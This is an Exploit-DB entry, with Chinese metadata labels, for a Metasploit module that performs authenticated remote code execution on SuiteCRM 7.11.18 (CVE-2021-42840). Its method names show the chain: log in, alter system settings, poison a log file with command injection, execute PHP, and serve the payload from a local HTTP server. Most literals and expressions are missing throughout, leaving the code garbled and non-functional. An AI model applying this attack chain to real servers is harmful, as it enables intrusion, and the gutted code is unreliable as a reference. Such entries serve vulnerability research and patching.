标题: SuiteCRM 7.11.18 - Remote Code Execution (RCE) (Authenticated) (Metasploit) EDB-ID: 50531 CVE: 2021-42840 类型: WEBAPPS 平台: PHP 发布日期: 2021-11-17 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

   info  
    
      
        info
          
          
          
          
           
        
          
           
            
            
            
            
        
          
          
          
          
             
                
                
                
                  
              
            
          
          
             
                
                
                
                  
              
            
          
        
          
            
             
            
        
          
          
          
      
    

    
      
           
           
           
           
           
           
      
    
  

   check
    authenticate  
       

    version_check_request  
      
          
          target_uripath 
          
          
            
            
        
      
    

       version_check_request

    version_match  version_check_requestbody
      
      \s
      \d 
      \
      \d 
      \
      \d 
      x

    version  version_matchlast

     version  versionempty
      about_url  
       
    

    patched_version  
    current_version  version

       current_version  patched_version

    
  

   authenticate
    
    initial_req  
      
          
          target_uri 
          
          
            
            
        
      
    

       initial_req  initial_reqcode  

    login  
      
          
          target_uri 
          
          
            
            
            
            
            datastore
            datastore
            
        
      
    

       login  logincode  

    res  
      
          
          target_uri 
          
          
            
            
        
      
    

    auth_succeededres
  

   auth_succeededres
       res

     rescode  
      
       resbodyinclude
        
          
      
        
          
      
        
       
    
      
       
    
  

   data
    
      
          
          target_uri 
          
          
          
            
        
          datato_s
      
    
  

   modify_system_settings_file
    filename  to_s
    extension  
      filename  extension
    action  
    

    data  
       
    data   
    datafilenameto_s   
    dataextensionto_s   
    data   
    data   

    res  data
    res action
  

   poison_log_file
    action  
     targetarchfirst  
      command_injection  
    
        
      command_injection  
    

    

    data  
       
    data   
    data   
    data   
    data   
    datadatastore   
    datacommand_injection   

    res  data
    res action
  

   restore
    action  
    

    data  
       
    data   
    data   
    data   
    data   
    data   

    data

    data  
       
    data   
    data   
    data   
    data   
    datadatastore   
    datadatastore   

    res  data

      res  rescode  

    
  

   res action
       res

     rescode  
      
       
    

    
  

   execute_php
    
    res  
      
          target_uri 
          
      
    
       res  rescode  
    
        empty
  

   cli _request
    cli payloadencoded     
    
  

   start_http_server
    
      
          
            proc  cli req
            cli req
          
            resource_uri
        
      
    
      get_uri
  

   exploit
    start_http_server
    authenticate  
     datastoreto_s  
       
    modify_system_settings_file
    poison_log_file
    execute_php
  
    restore  datastore URL: https://www.exploit-db.com/exploits/50531